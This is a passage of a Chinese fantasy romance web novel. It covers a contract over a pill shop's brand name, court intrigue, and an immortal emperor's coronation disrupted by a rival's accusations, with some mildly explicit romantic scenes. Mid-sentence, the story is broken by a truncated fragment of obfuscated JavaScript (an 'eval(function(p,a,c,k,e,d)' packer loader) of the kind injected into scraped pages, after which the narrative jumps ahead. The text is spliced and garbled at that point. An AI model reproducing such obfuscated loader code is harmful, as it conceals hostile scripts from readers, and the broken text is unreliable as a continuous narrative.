若饭饱饱亲历了灭族之灾,说明他当时已经出生,却还年幼。 “算了算了,”我摆摆手,“我们又不是江洋大盗,怎么搞得像是将你们逼得走投无路似的。只要不再用青莲的名号,其他事情我们不再追究。” 自知理亏的三人缩在一起。饭饱饱仍下意识将两个女孩护在身后,深深垂着头。 穆青轻叹一声,“取纸笔来。” 我好奇地凑上前,只见穆青挥毫写道,“自今日起,吾愿将『青莲』牌号转让于不愁行使用,许其依规炼制诸类丹药,然必严守以下戒律,不得欺害凡俗、不得损人道基、不得诈伪欺瞒。凡售之丹,皆须分予照夜一成利。今日立契为证,双方皆不可违。若有背誓者,纵隔千山万水,亦必诛之!” 其后附上了立契附言,苍虬有力的一行大字:天道为鉴,心魔为誓,契成之日,因果自承。 我心领神会,不待穆青开口便接过笔签下名字。 饭饱饱狐疑地打量我们,将契约反复研读七八遍,确认无诈后才迟疑道,“照夜能代表青莲?” 穆青语气依旧平淡,唇角却含着一丝温柔,“吾即是照夜,照夜即是吾。一体同心,如二为一。” 飞高高羡慕地瘪瘪嘴,说道,“天呐,这是打榜追仙会有的结果吗!” 我得意地扬起下巴,“那当然,我可是青莲最狂热的追随者。” 衣多多不服气地嘟囔,“就算变成这样也行?” 穆青看着饭饱饱签下名字,含笑望向我,“当然。无论高矮胖瘦,男女老幼。何况……”他眼中漾开暖意,“我喜欢现在的照夜,圆乎乎的,很可爱。” 饭饱饱轻哼一声,斜睨着我道,“旁人不知,我却清楚。照夜并非吃胖,而是体内积聚了大量仙力一时难以消纳,才会肿胀至此。” “饭饱饱,你无需再以锁灵秘仪封住灵关窍。”穆青语气沉静,“仙力长久积蓄体内不得流转,终会反噬己身。纵使如此,仅凭你一人也难报大仇——何况仙帝已逝。” “……这是我的私事,不劳费心。” 穆青轻叹,敛去最后一丝笑意,“还是说,你的仇人另有所指?” 三人霎时色变。 饭饱饱阴鸷的目光死死锁住云淡风轻的穆青,良久方道,“青莲,原以为你与伏癸一般不过一介武夫,不想心思竟如此缜密。” 我怔怔地望着二人,一时无言。 这时焉耆忽然“嗷呜”一声含住我的手指吮吸起来,肚皮发出咕噜声响——这小家伙怎么永远吃不饱? “好自为之。”穆青目光深邃,“那人绝非你们能够轻易接近。更何况他即将登临仙帝之位,想要复仇无异于痴人说梦。” 我心头一震,不愁行竟想向渊寂寻仇? 难道渟族覆灭背后另有隐情? 饭饱饱不愿多言,只拱手道,“多谢提点,好走不送。” 行至店外,穆青接过焉耆抱在怀中,凝出一片青莲花瓣喂给这肚皮滚圆却仍显焦躁的小家伙。 焉耆顿时安静下来,乖巧地蜷在他臂弯里。 “它这是怎么了?整天吃个不停。” 穆轻抚着焉耆的脑袋笑道,“傻瓜,曳石兽本食素。这些时日你喂了太多肉食,它消化不良,这才又饱又饥,躁动不安。” 我恍然大悟,拍额道,“天!书上的记载我只记了个大概,还是你心细。” 穆青仰首望着“青莲丹铺”的匾额,若有所思,半晌轻吟,“青莲难长青,露晞瑶台东。玉灯照夜永,碧落各西风。” “谁说的?”我挽住他的手臂,“留得残荷听雨声,斩断长夜续烛明。要我说,青莲必定长青,照夜永远长明。” 穆青朗声大笑,揽住我的肩膀,眼中重现欢愉,“好。青莲之名就让他们用吧。反正已是散仙,虚名何足挂齿。若将来名声受损,换个名号便是。” “从前你那么执着于青莲之名,如今倒是 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因仙帝煌木执意焚毁映山都,他们与之决裂,战后便归隐山林,不同世事。 直至穆青与振岳再度寻来。 “照夜,那夜没受伤吧。” 趁几位仙人叙话时,我坐在榻边与舒岸闲谈。他双手裹着厚厚纱布,隐约透出浓烈药味。 川晋箭矢所附的仙火威力惊人,若非翎波的白羽有愈伤奇效,寻常伤药恐怕难令舒岸的双手恢复如初。 “都怪我连累了你,害你受伤,还让你与君上生出嫌隙。“ “岂能怪你?“舒岸轻笑,捏了捏拳头向我证明伤势无碍,“我只恨他行事不端,心中有鬼。也别小瞧我,纵使不通仙术,我也会拼尽全力护你周全——至少在月下州境内,绝不容你受半分伤害。“ 我笑了笑,说道,“小青说你正直无畏,极重情义,确实如此。” 舒岸垂眸苦笑,“是我该惭愧……未能及早向你坦诚真相,实在无颜承受青莲这般赞誉。“ “那么,你为何对仙人如此戒备?“ 此时穆青、振岳与方有之皆走近前来,静候舒岸道出原委。 玉山以南三城地势险峻,四百年前尚未归顺。 舒贤即位后恩威并施,终将这三块硬骨头——尤其是天翮城——纳入人界版图。然而自舒贤仙逝,三城屡抗诏令,与月下州离心离德,致使人君与之矛盾日深。 朝中对此分为两派,舒岸主张以德化之,太师施铎则坚持武力威慑。 适逢怪物作乱,仙使便向人君献计——既然三城怀有异心,不如借怪物之乱消耗其战力,待其筋疲力尽时再施援手,令其感念君恩,从而彻底掌控三城,永绝后患。 我心中剧震,原来真相竟是如此。 早在无相孽祸起玉山时,舒岸便偶然探知仙界密谋。他极力反对,几乎与兄长反目。 舒仲虽心生动摇,虽苦恼于三城抗命,却也不愿弟弟涉险,这才派兵驰援。 仙界原本只是虚应敷衍,不料无相孽凶险异常,便授意施铎献策向魔界购取熠石,借“与魔界暗通”之故撤走援军,反将舒仲置于进退两难之境。 幸而玉山战事渐有起色,否则真是腹背受敌,独木难支。 “真是卑劣至极!此人还是这般为达目的不择手段。”方有之攥紧拳头,指节发白,“渊寂这老狐狸,趁仙帝病重频繁染指人界事务,全然忘了太初僊当年的告诫!” “人界也未见高明!”振岳恨铁不成钢地长叹,枯瘦的手掌重重拍在舒岸肩头,“软弱无能,处处倚仗仙界,连自家事务都处置不清。阿贤怎会有这等子孙!”他望向舒岸时目光稍缓,“好在还有你这般心系苍生的后辈,总算留有一线希望。” 见舒岸神色晦暗,翎波轻摇雪白羽扇,声如清泉漱玉,“当务之急是解决眼前困局。舒岸,玉山之事青莲已悉数相告。待我等前往灵璧城与渊寂清算旧账后,必赴玉山与你会合,共剿妖孽!” 34. 第 34 章渊寂人缘不怎么样 舒岸喉头微哽,朝众人郑重拱手一揖,“舒岸在此拜谢诸位。今日援手之恩,我替天下百姓铭记于心,永世不忘。” 翎波眼尾轻挑,笑吟吟地瞥我一眼,“要谢也该先谢这个胖丫头。谁能想到她竟有这等本事,从魔皇手里讨来六万颗熠石。” 我讪讪摆手,声音不觉低了几分,“魔皇陛下其实很随和……他身负一半凡人血脉,定然不忍见人界受难。” “终究是照夜机敏过人。”穆青眼底漾开温柔,轻轻揉了揉我的发顶,“若非心怀赤诚,又岂能化解危局,所向披靡?” 一旁须发皆张的振岳仙人抚掌大笑,““哈哈,自己的宝贝自己夸,原本我还好奇青莲每天念念不舍的丫头是个怎样的妙人儿,却不想,妙在了一颗玲珑心上,妙极,妙极!” 我只觉脸颊烧得滚烫。 仔细回想魔界之行,我好像也没干什么正事,稀里糊涂解决了熠石的事儿,吸纳了大量仙力,捣毁了一批怪物的卵壳,还带回了焉耆,可谓收获颇丰,而代价仅仅是胖了一圈。 这种好事,旁人做梦都不敢想。 “不过话说回来……”振岳忽然抚着下巴打量我,“胖丫头,老夫越看你越觉面善,莫非曾在何处见过?” 见我慌忙躲到穆青身后,舒岸会意地轻扯振岳衣袖,“爷爷,照夜脸皮薄,您别打趣她了。” 穆青侧身将我护在怀中,温热的唇不经意擦过额角,“别怕,振岳仙人只是说笑。” 振岳朗声笑道,“老夫是个粗人,丫头莫要见怪。” 我悄悄抬眼,正对上舒岸匆匆避开的视线,那抹来不及掩藏的落寞,像薄雾般笼罩在他眉宇间。 启程在即,我们与三位仙人商议后续安排。 那夜的意外让我们提前与仙界来使——渊寂座下二弟子溟牙碰面,这打乱了原定计划。 如今行踪既已暴露,唯有见招拆招,首要之事便是查明煌木仙帝殒落的真相。 坐在凉亭石凳上,我终于问出心中困惑,既然仙帝性情寡淡,疏于交际,除三位鸿珠仙人外几乎不与旁人往来……哪怕被振岳称为“朋友”,但其实他们只是因当年试仙考试时有过一些交集罢了,这样一个人,为何要弄清他的死因。 于公于私仿佛都差点动机。 翎波哀叹一声,灵动的凤眼微微弯起来,“你们两个小家伙年纪太小了,不知煌木本性。那人虽看似无情专横,仙魔大战时更显暴戾,实则心思纯粹。该怎么形容呢……” 醉眼朦胧的方有之晃着酒壶接过话头,“小波说得委婉。那煌木就像个没有心魂的傀儡,毕生只执着两件事——维系仙界秩序,追求至高力量。但凡阻碍这两样的,都会被他无情铲除。正因如此,他反而最简单。” “记得仙魔大战后期,阿贤屡次劝他止戈,他都置若罔闻。”振岳摩挲着腰间玉佩,目光渐远,“直到焚尽映山都、立起结界后,他却突然撤军。阿贤追问缘由,那人只留下十二字——” 我心跳骤然急促,攥紧的掌心沁出薄汗。 穆青指尖轻转酒盏,澄澈酒液倒映出他深邃的眼眸,“宿敌归尘,映山烬灭,何须再战。” “……”瘴母神现身仙魔战场的事蓦然浮现脑海,我强压心头悸动,轻声试探,“你们说有没有可能……当年仙帝执意征伐魔界,并非为杀戮,而是为——救人?” 对于我的推测,三位前辈并未当真。他们都曾亲历仙魔之战,自认对那段历史了然于心。 这个话题便就此搁置。 返家途中,我不断回想与煌木唯一的那次相遇。 我只记得他是少年模样,也会因无聊混入试仙考场寻些趣事——这样的他,当真会是传说中冷酷无情的仙帝么? 启程之日将近。人君已随仙使先行前往灵璧城,舒岸送别兄长后便来寻我与穆青。 我正在小院里逗弄焉耆,这小家伙见他,立即摇着尾巴扑去,前爪不住地扒拉对方的短靴。 “照夜,就你一人在家?” “小青去取我的新衣裳了。” 舒岸抱起焉耆,在院里转了一圈,忽然郑重道,“我决定回玉山了。已向兄长表明心志,一日不除尽邪祟,一日不归月下州。” 望着他尚未痊愈的伤手,我斟了杯茶递去,轻叹道,“你们终究是亲兄弟。有时也该试着彼此体谅。” 舒岸不拘小节地坐在门槛上,任由焉耆将他的手掌蹭得漆黑,苦笑道,“有些污渍,一旦沾染便再难洗净。人与人之间的信任,又何尝不是如此?” “你们之间……似乎还有别的芥蒂?” 舒岸欲言又止,见穆青归来便舒展肩背,扬起明朗笑意,“罢了,前尘旧事不堪提,多说无益。照夜,保重!” 临别时穆青又叮嘱舒岸勤加练习仙力凝聚,传授些许诀窍。二人驻足交谈许久方才作别。 小院从静谧到喧闹,复归宁静,这月余的际遇,恍若大梦一场。 临行前夜,穆青与我缠绵时,充沛的仙力如溪流般汇入他体内,令他周身泛起微光。 我隐约察觉他心底压着秘密——那块巨石沉甸甸地坠着,再难见从前那般明澈笑颜。 但我明白,他既选择沉默,定是认为此事凶险。正如我怀疑玉山灾祸源于人为,在证据确凿前,也不愿轻易道出。 “此去灵璧城,务必紧跟我。” “会很危险吗?” 穆青将我搂得更紧,指尖漫卷着我的发丝,“不过是向渊寂与三鸿珠仙讨个说法。最坏不过削去仙籍,巧的是我们五人,皆不在意这个。” 我仰头轻吻他的下颌,“反正我跟着你就对啦。” 穆青的手始终流连在我的“香瓜”上,轻柔抚弄间激起阵阵战栗,“我自然要永远抱着你。软糯如棉,爱不释手。” “也不知这几日尾巴有没有好好干活。若再不将仙力压缩蕴藏,不知我还要胖到几时。” 穆青翻身笼罩下来,温热的唇掠过我的眼角眉梢,眸中深情一如往昔,“无妨,我来帮你消解仙力。” 夜雾氤氲,春水潋滟。泥泞的幽谷再逢坚刃破开迷雾,在缠绵缱绻的韵律中,将未尽话语都化作细碎呜咽。 灵璧城,云南门外。 我从未见过如此汹涌的入境人潮。 仙吏声嘶力竭地维持秩序,盖在我身上的云南印转瞬就被体内流转的仙力吞噬殆尽——这着实令人困扰,没有印记,我便成了偷渡客,若被卫戍司查获,又是一桩麻烦事。 因大典盛世,灵璧城这座平日就已气象万千的宝地此刻更是被汹涌的人潮所淹没,仿佛一块被投入熔炉的仙晶,绽放出前所未有的灼热光华。 由于灵璧城素来严令禁止任何形式的飞行与坐骑入城,来自各地的观礼者皆在此落地步行,如百川归海般汇入城中。 云南门外广阔的停泊场上,各式仙舟楼船、异兽銮驾鳞次栉比,由卫戍司的仙兵严格看管,景象颇为震撼。 甫一入城,声浪与气浪便扑面袭来。 白玉长街已被人流填满,竟透出几分凡尘特有的滚烫生机。 小贩吆喝声此起彼伏,卖万年珊瑚珠的,售九转灵修丹的,还有出租《仙帝典仪观礼指南》玉简的——内含最佳观礼位示意图与各界贵宾详介。 最抢手的当属《仙碑榜投票指引》,早已售罄,上面详尽罗列各位仙人的资料画像与打榜技巧。 得不说仙碑司还真是会赚钱。 街道两旁的仙家酒楼茶馆早已爆满,露台上、窗边都挤满了身影。仙酿的醇香、灵茶的清芬与各种仙家小吃的诱人气味混合在一起,弥漫在空气中。 各式临时小铺更是铆足了劲,纷纷亮出了“镇铺”之宝,什么天霞丝织就的锦缎,号称妖兽体内采集的散发着奇异清香的草药,有在魔界秘境中出土的纹路诡异的矿石,甚至还有自称 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精明的掌柜岂会错过良机,将原有房间一隔为二,权作两间售卖。于是我与穆青,实则与方有之共居一室。 几日相处,我对这位声名远播的大侠有了几分了解,他年少时便游历人界,常行仗义之举,坊间传说经年累月,终被润色成《醉侠传》。 而本尊自贤君仙逝后渐隐俗世,可他的传奇却从未止息。 细问方知,并非醉侠重现江湖惩奸除恶,而是一代代侠士前仆后继对抗奸邪,皆以“醉侠”之名行义举——至此,醉侠不再是一个人,而成了一种侠义精神的永恒传承。 方大侠为人豪爽不羁,平生唯爱杯中物。可惜穆青天生不胜酒力,酒量尚不及我一成,只好陪着闲聊,偶尔夹几筷子下酒菜。 “你说,她对我到底有没有那个意思?“ 我正蹲在一旁逗弄焉耆,忽听得三分醉意的方有之搂住穆青肩膀问了这么一句,八卦的探针立刻摆动,于是便不动声色坐了过去。 穆青无奈摇头,“不如直接向翎波姐姐问个明白。你们相识百余载,怎还停留在揣度心意的阶段?“ 我暗吃一惊,原来方大侠与翎波仙子竟有这般渊源。 见我满脸好奇,方有之反倒赧然,“她那性子捉摸不定,谁知她作何想?我也不是没有暗示过,偏她总装糊涂。唉,女儿心,海底针。“ “……大侠,你是怎么暗示的?” 话说有一次方有之顺路去看望翎波,二人久别重逢本是其乐融融。 酒过三巡,翎波问他为何专程来访。他当时清醒得很,坦然相告:并非专程,实乃顺路。 话音未落便被勃然大怒的翎波一脚踹出门外。 “你们说她气从何来?我特意绕了大半个仙界...“ 我和穆青都难以置信地看着方有之,这个男人怎么能如此迟钝。 “前辈,正确的做法是告诉翎波姐姐,抛却红尘三千里,策马春风一笑逢,思卿如狂,星夜兼程,唯愿与卿隐遁天地,扁舟散发,永世逍遥。” “……你他娘还真会甜言蜜语。”方有之闻言,拍案叫绝,大力拍着穆青肩膀,“不容小觑,这方面你是前辈。” 正说笑间,木门哐当一声被推开。 振岳仙人搂着个佝偻老者闯将进来,声若洪钟,“追个婆娘都这般费劲!有之,你的道行还差得远!“ “说了几十年,进门先叩门!“方有之揉着太阳穴苦笑,看来令他头疼的可不光翎波仙人一个。 “讲究这些虚礼作甚!“振岳不以为意,转向我们,“小胖妞,青莲,有之,快来见过老夫的老友——万事知!“ 那瘦小老者奋力挣脱他的臂弯,急声道,“谁是你老友!不过做过一回买卖。快松手,街上戍卫往来频繁,千万别把百目仙人招来!“ 35. 第 35 章 渊寂口若悬河 大半夜的屋里又多出一个陌生人,我此刻有些困了,正打着哈欠,振岳仙人却一把按住我肩膀,洪亮的嗓门几乎要惊动整间客栈,“小胖妞,这是专程给你请来的。” “哎呀你太大声了,振岳!”方有之赶忙捂住振岳爷爷的嘴,低声道,“这丫头身上的云南印存不住,得想法子伪造一个,否则明日进不了源涡池。“ 穆青显然早已知情,轻抚我的后背温声安抚,“别怕,不疼的。“ 万事知——专营偷渡生意的老手,最拿手的便是仿制“云南印“。 我依言趴在床榻上裸出后背,紧紧攥住穆青的手。他凝望着万事知手中那支凝聚仙气的银针,眉头深锁。 针尖刺入肌肤时,似蚁噬又似细痒,带着些许刺痛。 “疼吗?“ “不疼,我皮糙肉厚。” 穆青松了口气,轻柔拭去我额间细汗,转向万事知,“所以可查清了?究竟是谁假借符光鹊捏造了我的讯息。” 一头白发的老头瞥了眼穆青,叹口气道,“也不知你怎么惹上了他们,看来传言你得罪了那位并非空穴来风。他座下第五弟子幻鹊,最擅长伪装模仿他人。”说到这里万事知又看我一眼,说道,“原来她便是照夜。你瞧,你把自己的弱点摆在了明面上,也难怪被人利用。” 原来穆青知道有人利用符光鹊捏造了他的讯息,便委托灵璧城有些能耐的万事知暗中调查。 果然是渊寂搞的鬼,因只有他知道钩星对我抱有特殊情感,若我前往映山都,很大可能有去无回。 只不过他失算了,低估了钩星的善良与怯懦。 “他怕我生事,才想用这招将照夜支开,令我进退两难。“ 云南印借由银针刺在我身上,可以保留一段时间,不至于令卫戍司发现。 穆青仔细为我披好衣裳,帮着收拾器具。 万事知坐在一旁慢悠悠啜着茶,“他不想在这个节骨眼与你冲突。无论你们是要逼问煌木之死的真相,还是当众迫他出兵清剿玉山怪物...青莲,看在你我相识一场,奉劝你谨言慎行。那仙宫,闯不得。“ 我心头剧震,偷觑穆青凝重的侧脸。万事知竟对计划了如指掌,但诡异的是,我是头一回见万事知。 “有些事,非做不可。“ “罢了。“万事知起身整理衣袍,“今儿还有几桩生意。明日...怕是有好戏看了。“ 这夜方有之与振岳醉卧一室,翎波只得去友人处借宿。 我与穆青躺在榻上,听着窗外断续的夜籁,睡意昏沉却难以入眠。 “尾巴最近没有和你说话吗?” “他说要集中精力将我体内的仙力缩压至仙丹内,所以比较忙。” “明天若是形势不对,你们就先逃。” 我支起身子望向穆青,抿嘴道,“我虽胆小,却绝不会抛下小青独自逃生。有尾巴和焉耆在,我们未必落于下风。“ 穆青唇角微扬,指尖自我腰间滑落,在尾椎处轻轻一按,我便浑身酥软地瘫在他怀中。 “好,明天如非紧急,别轻易露出尾巴。” “嗯,快睡觉吧。” “不急...“他将我往怀里带了带,“还想再抱抱你。“ 不得不说穆青总是精力充沛,缠绵时专注而持久。 虽不似舒岸那般魁伟,却另有一份青竹般的韧劲,肌理线条如山水迤逦,教人触碰过后便终生难忘。 无梦的夜晚将时间悄然推向黎明。 大典当日,整座灵璧城笼罩在一种莫名的肃穆氛围中。 经过层层盘查,我顺利进入仙宫,但因与其他三位仙人身份有别,只能在普通观礼台就座,与仙人专属的礼台遥遥相望。 源涡池——这座位于仙宫至深处的巨大陷落之地,正是仙帝登基大典的举行之处。 墨玉般的池壁光滑如镜,环抱成圆,数百席位井然有序,已坐满了仙人与仙民。 池底并非平地,而是一汪凝若实质、缓缓旋转的仙力漩涡。玄青色的涡流无声涌动,散发出令人心悸的磅礴威压。 此处不设任何装饰,唯有最纯粹的力量沉淀于此,既是仙界力量交汇的核心,也是仙力充沛的象征。 吉时已至,十身仙人的虚象凌空显现,庄严宣告登位大典正式开始。 源涡池四周的观礼者皆屏息凝神,万籁俱寂中,唯有卫戍司仙兵的银甲在晨光中泛着冷冽寒光。 我终于再次见到了那个男人——仙帝渊寂。他身着玄衣纁裳,自高处踏着无形的阶梯徐徐而下,直至源涡池边缘。 池中仙力涡流似有所感,流转骤然加速。 池心中央,一方古朴石台悄然升起,其上悬浮着一部厚重宝典。 典册非金非玉,封面呈暗沉混沌之色,仿佛承载着千年沧桑——那便是太初僊留下的《太初宝诰》。 只见渊寂抬手,指尖于空中划过一道玄奥轨迹,最终缓缓落于宝诰封面。 那一瞬间,《太初宝诰》骤然光华大放,无数金色符文自书中奔涌而出,如锁链般缠绕其身,继而于天幕中不断流淌闪现。 与此同时,整个源涡池的仙力为之沸腾,发出低沉轰鸣,似在见证。 万籁俱寂中,渊寂肃穆之声响起,每一个字都引动金字共鸣,响彻九天: 吾,渊寂,今承天运,继仙帝位。 于此源涡之心,太初至宝前立誓——必恪守宝诰,持正卫道;必统御众仙,维系纲常;必潜心尽力,守仙界永昌。 若有违此誓,仙基尽毁,万劫不复。 誓未毕,宝诰金光还未收敛,我的心跳已如擂鼓。 周遭的惊叹声仿佛隔了一层水幕,我浑身轻颤,屏息凝望着穆青、方有之、振岳和翎波四人,心中不由自主地开始倒计时。 快了,宣誓结束后他们就要借此机会质问仙帝渊寂。 质问他煌木究竟因何陨落,为何授意承御厅隐瞒真相! 质问他为何在玉山一事上迁延敷衍,究竟何为持正卫道! 突然,一声慵懒的哈欠传入耳中,熟悉的声音带着几分疲惫,“哈——可累死我了。“ 我一惊,发现不知何时醒来的尾巴正趴在我肩上,隐藏在长发之下。 我欣喜若狂,也顾不得周围还有陌生人,轻轻将尾巴捧在手心,贴在脸颊上摩挲,“天啊,你终于又和我说话了!“ “诶,轻点儿摸我,我怕疼。“尾巴欢快地扭动着,“想我了吧,照夜?“ “当然想!我害怕你离开了,没有尾巴谁来保护我?“ 尾巴轻轻捧住我的脸,引导我望向源涡池中央。就在这一刹那,空中突然降下一张紫色巨网,瞬息之间便将十身仙人的虚象切成了无数碎片。 变故来得太快,令人措手不及。 就在振岳与穆青起身的瞬间,另一个声音在寂静的涡池上空轰然炸响。 “闭嘴!渊寂,尔等宵小也敢妄称仙帝!卑鄙无耻!“ 只见那张骤然出现的紫色巨网之下,立着一位身形瘦削、四肢奇长的仙人。他静默而立,声音却从四面八方涌来,震得人耳膜发颤。 “啧,他的仇家还真不少,专挑这个时辰给他难堪。可见此人多么惹人厌烦,哈哈哈。“尾巴在我耳边窃窃私语。 “那是谁?“ “法器是雷霆织就的罗网,仙号雷枢。“ 那仙人立于网下,畸长的身躯宛如一杆刺破苍穹的紫色毒刺。 他字字诛心,携着雷霆之威在寂静的涡池上空炸响—— “渊寂!你有何面目立于至尊之位,有何资格执掌仙界权柄,统御众仙?吾名雷枢,今日便要当着诸仙诸民之面,撕破你这伪君子的画皮!“ 局势突变,我远远望向穆青,他亦回望着我,微微摇头示意我不要妄动。 我连忙蜷缩在纷纷起身的观礼人群中,竭力隐藏身形。 雷枢仙人的声音凄厉如刀,蕴含着无尽的愤怒与痛楚。他抬手间,周身紫色电蛇狂舞,那张雷霆巨网随之轰鸣,威压更盛,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那足以令山河变色、万仙惶恐的指控,似乎并未在他心中掀起半分涟漪。他甚至未曾去看那气势汹汹的雷枢仙,只是淡然收回手,令盛放《太初宝诰》的高台缓缓沉入涡池之中。 “精彩,且看渊寂如何应对。“ 我惊出一身冷汗,好在此时自言自语也无人留意,可以放心与尾巴交谈,“你倒看得起劲,给你来盘瓜子呗?” “我不吃瓜子,麻烦。你也不许吃,咔嘣咔嘣的声音听得耳朵疼。“ 我紧紧攥着尾巴,生怕他丢下我不管,“还嗑瓜子呢,我紧张得心都要跳出来了。“ “怕什么,有我在。安心看戏便是。“ 终于,渊寂在片刻的沉默后缓缓开口。 他的声音并不高亢,却清晰地压过了空中雷霆的嘶鸣,带着不容置疑的威严,以及一丝若有似无的讥诮。 “说完了?“ 渊寂微微抬眸,目光第一次真正落在雷枢身上。无人看清他眼中神色,却见雷枢周身的紫色雷光竟为之一滞。 “你指控吾操纵仙碑榜。“渊寂语气平淡如古井无波,“却不知仙碑榜自上古而立,其规则源于太初僊,不容轻改。你口中那些''被黜落''之人,究竟是修为停滞、功德有亏,还是——对仙界毫无建树?“ “你指控吾操纵投票,掠夺领地。“他继续道,仿佛在陈述与己无关的琐事,“仙界公投,众仙共鉴,规则清明,何来操纵之说?领地更迭,遵循古法,优胜劣汰,仙气流转自有其道。莫非占据宝地者就该世袭罔替,纵使庸碌无为也可久居?此等言论,才是真正扼杀仙界生机。“ “至于十身、百目等诸位仙友,“渊寂唇角泛起难以捉摸的弧度,“他们皆是仙界翘楚,自有判断与立场,何时成了吾之私属?他们的言行,代表的是各自的道与理。若认同吾之理念便是罪过,那你今日之举,又该当何罪?“ “至于千手仙友……“渊寂略作停顿,目光扫过全场,将众人的好奇与疑虑尽收眼底,“他正在闭关参悟无上妙法,此乃仙界幸事,何时成了''下落不明''?雷枢仙人,你这份关心,倒是显得突兀了。“ 渊寂轻拂帝袍上并不存在的尘埃,语气骤然转冷。 一股无形却磅礴浩瀚的气息弥漫开来,虽未刻意施压,却让在场所有仙人都感到心神一凛。 “尾巴,他的气势好可怕……“仿佛被无形的力量扼住咽喉,我呼吸急促,只能不停地吞咽着唾液。 36. 第 36 章乱了乱了! 尾巴在我头顶蜷成一团莹亮的光晕,不再如往常般舒展,而是凝聚成形,用唯有我能听见的声音低语,“说来也怪,他虽不喜欢煌木,但煌木却对他格外倚重信任。“ 那一头的对峙,仍在继续。 “雷枢,“渊寂的声音如寒冰碎裂,“你罗织这些牵强附会之词,在本帝登基大典上挟雷霆逞凶,玷污源涡圣地……究竟是谁在背后指使,许你何等好处,让你甘当马前卒?又或者——“男人的目光倏然从我面前扫过,继而那视线化作无形利剑直刺雷枢心神,“你只是不甘仙碑榜名次跌落,不舍昔日强占的灵地被德才兼备者取回,在此……泄私愤罢了。“ 字字诛心,如冰锥刺破正义的伪装,直抵那最不堪的私心。 只见身形剧震,雷枢仙人周身紫电随着激荡的心绪狂乱迸溅,发出刺耳爆鸣。他畸长的身躯因暴怒而颤抖,那张本就古怪的面容扭曲得近乎狰狞。 “胡言!全是胡言!“他嘶声咆哮,先前的悲壮尽数化作被揭穿的羞恼,“渊寂!休要以小人之心度君子之腹!我雷枢岂是为一己私利而来?!“ 这般激烈的反应,反倒坐实了渊寂的指责。观礼台上不少原本心存疑虑的仙人,此刻都露出了然与鄙夷之色。 “既非私心,何不敢直面仙帝诘问?“前排一位老仙翁低声嗤笑,话音在寂静中格外清晰。 这句话彻底点燃了雷枢。 他猛地指向渊寂,又环指四周,声音里满是绝望的愤懑。 “是!我是不甘!但我不甘的岂止一人之名次、一己之灵地!我不甘的是这仙界早已腐朽的评价体系!“ “仙碑榜?哈哈,好一个仙碑榜!”雷枢狂笑起来,笑声中满是悲凉与嘲讽,“不以修为论高下,不以力量定尊卑!反倒去考察什么狗屁的支持度?门徒多寡?仙门盈利几何?!这简直是滑天下之大稽!” “我等苦修百载,求得是无上仙法,掌控雷霆,为的是逍遥天地,追寻大道!不是来这仙界经营山门,蝇营狗苟,学着凡间商贾那般算计盈亏,巴结逢迎的!” 雷枢这番话在部分仙人中激起共鸣。那些形单影只、或气息强悍却衣着朴素的“失意者“中,传来压抑的附和。就连我身旁的仙民也开始骚动。 “说得在理!“ “仙碑榜早该革除了!种几棵树赚点银钱就能位列上仙,这是什么道理?“ “力量方是根本!“ “没错!谁的仙法高,谁就该当上仙!” 雷枢见有人响应,情绪愈发激昂,声震四野,“看看这仙界被尔等糟践成何等模样!攀附权贵,党同伐异!有德有能者只因不擅钻营,不肯谄媚,便被排挤打压,跌落仙榜,沦为散修,资源尽失!而庸碌之辈,单凭笼络人心、盘剥门徒、上缴供奉,便能高居榜上,独占福地!如此荒唐之事,尔等竟视若无睹!“ 说到这里,雷霆直指正坐在高台上观礼的人君舒仲,激愤不已,“哪怕是人界,官员晋升尚且要考量政绩与民望,虽也有弊,却至少明面上还需做出为民请命的姿态,还需有拿得出手的功绩!而我等仙界,至高无上的仙碑榜,竟赤裸裸地以门徒多寡、盈利丰厚为标尺,将弱肉强食、趋炎附势写得如此直白!这岂不是连人界都不如?这修的到底是什么仙?求的到底是什么道?!” “今日我雷枢,便代表仙界无数被这陈腐规则所害、空有修为却无出头之日的同道,向你这位即将登基、口口声声要统御万仙的新帝讨个说法!你渊寂若真如自己所标榜那般公正,敢不敢革除陋习,重定仙规?!“ 雷枢声嘶力竭,紫色雷网随着他的怒吼急剧膨胀,电光汹涌,大有玉石俱焚之势。 随着他的呐喊,观礼台四周倏然掠出十余道身影,这些仙人仙光黯淡,衣着朴素,脸上却带着同样的决绝,默默立于电网四周,以行动表明立场。 “有备而来,我就说嘛,凭他雷枢一人,怎可能擎起这么大一张电网,啧啧。”尾巴在我耳畔低语。 眼看那电网就要覆盖在头上,我此刻头皮发麻,若非好奇驱使我尽力绷直身体,我早就抱头鼠窜了,“尾巴,你为何知道这些事,你从哪里偷听来的?” “嘘,继续看着照夜,越来越有趣了,我倒要看看渊寂怎么应对。” 万千目光聚焦于新帝之身。 面对雷枢几近崩溃的控诉和十余位仙人的无声支持,渊寂非但不怒,反而缓缓颔首。 他的目光掠过雷枢,扫过那些“失意“仙人,最终望向头顶那金色的结界,声音里仿佛带着洞穿万古的沉冷。 “雷枢仙人,尔等所言,并非全无道理。“ 满座皆惊。连激愤中的雷枢也为之一怔。 “仙界评价体系,确有其僵化之处,过于侧重仙门规模、资源流转,或有时未能完全体现一位仙人的真实修为与潜在伟力。”渊寂坦然承认,这份气度让许多仙人暗自点头。 但紧接着,他话锋一转,抛出了一个令人困惑的问题,也足以震颤我的魂魄。 “然而,尔等可曾想过,为何仙碑榜的评判维度会逐渐演变至此?诸位修仙,感应天地,吞吐仙力,难道就未曾察觉,这浩瀚仙界,充斥寰宇的仙灵之力,并非无穷无尽吗?仙力虽无形无质,却亦是一种资源,一种,一种正在逐渐变得稀薄的资源!” 渊寂的声音陡然提高,带着一种不容置疑的威严,重重敲击在我的心窝之上。 陡然间,我想起了与尾巴之间的一段对话。尾巴曾说怪物亦是生灵,本质上人,仙,魔,甚至怪物,都没太大区别。 万物皆以仙力为食,正因如此,为争夺仙力,就一定会产生冲突。 渊寂目光如寒霜扫过全场,声音沉凝如钟,“若依尔等所言,仅以修为强弱、战力高低为标尺划分仙阶、分配资源,结果将如何?“他袖袍无风自动,“结果便是强者恒强!顶尖大能凭借绝对实力垄断日益稀薄的仙力,门人弟子尽享其利。而后起之秀、根基浅薄者,将永无出头之日!他们突破境界所需的海量仙气从何而来?难道要仰仗强者的怜悯施舍么?“ 